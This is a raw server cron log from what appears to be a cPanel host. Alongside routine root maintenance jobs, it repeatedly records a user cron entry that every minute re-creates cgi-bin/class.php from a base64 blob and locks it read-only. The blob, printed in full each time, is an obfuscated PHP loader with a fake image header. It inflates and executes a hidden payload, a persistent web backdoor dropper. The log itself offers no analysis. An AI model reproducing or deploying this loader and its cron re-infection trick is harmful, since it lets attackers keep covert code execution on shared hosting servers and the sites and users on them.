Sep  6 18:59:01 server CROND[20918]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 18:59:01 server CROND[20919]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 18:59:01 server CROND[20920]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 19:00:01 server CROND[21306]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 19:00:01 server CROND[21307]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 19:00:01 server CROND[21313]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 19:00:01 server CROND[21319]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 19:00:01 server CROND[21321]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 19:00:01 server CROND[21326]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 19:00:01 server CROND[21323]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 19:00:01 server CROND[21322]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 19:00:01 server CROND[21324]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  6 19:01:01 server CROND[22148]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 19:01:01 server CROND[22146]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 19:01:01 server CROND[22147]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 19:01:01 server CROND[22145]: (root) CMD (run-parts /etc/cron.hourly)
Sep  6 19:01:01 server run-parts(/etc/cron.hourly)[22145]: starting 0anacron
Sep  6 19:01:01 server run-parts(/etc/cron.hourly)[22168]: finished 0anacron
Sep  6 19:02:01 server CROND[22539]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 19:02:01 server CROND[22540]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 19:02:01 server CROND[22541]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 19:03:01 server CROND[23133]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 19:03:01 server CROND[23135]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 19:03:01 server CROND[23141]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 19:04:01 server CROND[23557]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 19:04:01 server CROND[23556]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 19:04:01 server CROND[23558]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 19:05:01 server CROND[23990]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 19:05:01 server CROND[23992]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 19:05:01 server CROND[24000]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 19:05:01 server CROND[24009]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 19:05:01 server CROND[24008]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 19:05:01 server CROND[24011]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 19:05:01 server CROND[24012]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 19:05:01 server CROND[24013]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 19:06:01 server CROND[24820]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 19:06:01 server CROND[24822]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 19:06:01 server CROND[24821]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 19:07:01 server CROND[25192]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 19:07:01 server CROND[25193]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 19:07:01 server CROND[25194]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 19:08:01 server CROND[25560]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 19:08:01 server CROND[25561]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 19:08:01 server CROND[25562]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 19:09:01 server CROND[26020]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 19:09:01 server CROND[26023]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  6 19:09:01 server CROND[26021]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 19:09:01 server CROND[26022]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 19:10:01 server CROND[26416]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 19:10:01 server CROND[26418]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 19:10:01 server CROND[26417]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 19:10:01 server CROND[26420]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
